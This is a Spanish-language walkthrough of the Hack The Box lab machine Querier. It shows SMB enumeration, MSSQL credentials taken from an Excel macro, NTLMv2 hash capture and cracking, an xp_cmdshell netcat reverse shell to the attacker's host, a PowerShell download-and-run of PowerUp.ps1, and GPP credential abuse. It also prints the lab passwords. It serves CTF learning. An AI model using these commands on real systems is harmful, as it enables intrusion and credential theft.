Hack The Box: Querier (Windows, Media)

Introducción

Querier es una máquina Windows de dificultad media, que involucra acceso a mssql y escalada de privilegios en Windows. Utilizaremos un libro de Excel habilitado para macros desde un recurso compartido SMB abierto, y encontraremos las credenciales de la base de datos en las macros. Luego, utilizaremos esas credenciales para conectarnos al MSSQL del host como un usuario limitado, lo que me permitirá obtener un hash NTLMv2 con responder. Este hash me dará suficiente acceso a la base de datos para ejecutar comandos y obtener una shell.

En cuanto a la escalada de privilegios, ejecutaré PowerUp.ps1 para obtener credenciales de administrador desde un archivo GPP.

Enumeración

Enumeración de puertos

Comenzamos la resolución de la máquina Querier enumerando los servicios que tiene abiertos el sistema. Comenzamos por una enumeración rápida del sistema.

nmap -p- --open --min-rate 250 -Pn -n 10.10.10.125 --defeat-rst-ratelimit

Conociendo los servicios abiertos, vamos a realizar la enumeración profunda de estos servicios.

nmap -p135,139,445,1433,5985,47001 -Pn -n --min-rate 200 -sVC 10.10.10.125

Enumeración SMB

crackmapexec smb 10.10.10.125
smbclient -L ////10.10.10.125// -U ''

Vemos que el recurso compartido “report” es accesible. También, vemos que tenemos acceso de lectura a $IPC, lo cual puede ser útil para enumerar nombres de usuarios.

smbclient \\10.10.10.125\\Reports -U ''

Vemos un archivo xlsm. Vamos a descargarlo a nuestra máquina de ataque. Vamos a enumerar usuarios del sistema.

impacket-lookupsid anonymous@10.10.10.125

El archivo Currency Volume Report.xlsm es un Excel con funcionalidades macro. Para abrir este archivo vamos a utilizar una de las herramientas de la Suite oletools, olevba. Para instalar esta herramienta, ejecutaremos sudo pip3 install oletools

Dentro de la macro encontramos lo que parecen ser unas credenciales de lo que parece ser una base de datos MSSQL. El usuario “reporting” ya lo encontramos en la enumeración de usuarios anterior. Las credenciales son reporting:PcwTWTHRwryjc$c6.

Explotación

Vamos a conectarnos a la base de datos MS SQL.

impacket-mssqlclient 'reporting:PcwTWTHRwryjc$c6@10.10.10.125' -windows-auth

Ejecutamos la herramienta responder.

responder -I tun0

Y de nuevo en la conexión a MS SQL ejecutamos

Ahora deberemos recibir información en la ejecución del responder.

Obtenemos el hash para el usuario mssql-svc. El siguiente paso será descifrar este hash de contraseña.

hashcat -m 5600 mssql-svc /home/kali/rockyou.txt  --force

Tras un momento, nos devuelve la contraseña del usuario mssql-svc:corporate568

Volvemos a conectarnos a la base de datos MS SQL, pero con las nuevas credenciales.

Volvemos a levantar la shell.

Y ya podremos ejecutar comandos

Vamos a cargar un binario nc64.exe en la máquina objetivo haciendo uso de un servidor SMB. Levantamos el servidor SMB

impacket-smbserver -smb2support a .

Ahora ejecutamos este comando en la máquina objetivo.

xp_cmdshell \\10.10.16.6\a\nc64.exe -e cmd.exe 10.10.16.6 443

Levantamos un oyente en el puerto 443

Ya tendremos acceso a la máquina objetivo con un usuario de bajos privilegios. Buscamos la flag user.txt

Elevación de privilegios

Vamos a comenzar enumerando con la herramienta PowerUp.ps1 posibles puntos de acceso al sistema. Para enviar esta herramienta a la máquina objetivo, levantamos un servidor HTTP con Python en nuestra máquina de ataque y posteriormente, ejecutamos de la siguiente manera en la máquina víctima.

powershell
IEX (New-Object Net.Webclient).downloadstring("http://10.10.16.4:8000/PowerUp.ps1")
invoke-allchecks

Tras ejecutar la herramienta, obtenemos el siguiente resultado.

Encontramos las credenciales de administrador almacenadas en el archivo XML de Preferencia de Directiva de Grupo (GPP). Ese archivo está cifrado con AES, pero la clave se filtró , por lo que PowerUp.ps1 puede descifrarlo.
Recordamos que en la máquina objetivo esta abierto el puerto 5985, vamos a tratar de iniciar sesión en la máquina objetivo aprovechando estas credenciales.
Las credenciales son Administrator:MyUnclesAreMarioAndLuigi!!1!
Conectamos utilizando la herramienta Evil-WinRM

evil-winrm -u administrator -p 'MyUnclesAreMarioAndLuigi!!1!' -i 10.10.10.125

Y ya tendríamos la máquina Querier de HTB.

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *